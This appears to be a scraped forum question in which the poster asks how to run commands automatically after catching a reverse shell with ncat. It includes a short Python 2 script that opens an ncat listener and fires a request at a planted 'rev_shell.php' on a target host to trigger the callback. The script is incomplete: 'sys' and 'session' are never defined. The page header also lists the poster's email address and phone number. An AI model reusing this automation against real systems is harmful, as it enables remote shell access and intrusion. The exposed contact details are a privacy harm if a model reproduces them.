• caglararli@hotmail.com
  • 05386281520

how can i send multiple commands after getting the reverse shell using ncat

Çağlar Arlı      -    6 Views

how can i send multiple commands after getting the reverse shell using ncat

how can i send multiple commands after getting the reverse shell using ncat to automate the process. like getting shell and then executing some command automatically using python script only

from threading import Timer
import os

def interactive_shell(port):
    print "(+) listening to reverse shell"
    # wait for 1 sec before visiting webshell
    t = Timer(1, activate_webshell)
    # start thread activity
    t.start()
    ncat = 'ncat -lnvp %s' % port
    os.system(ncat)

def activate_webshell():
    target ="http://%s/rev_shell.php" % sys.argv[1]
    session.get(target)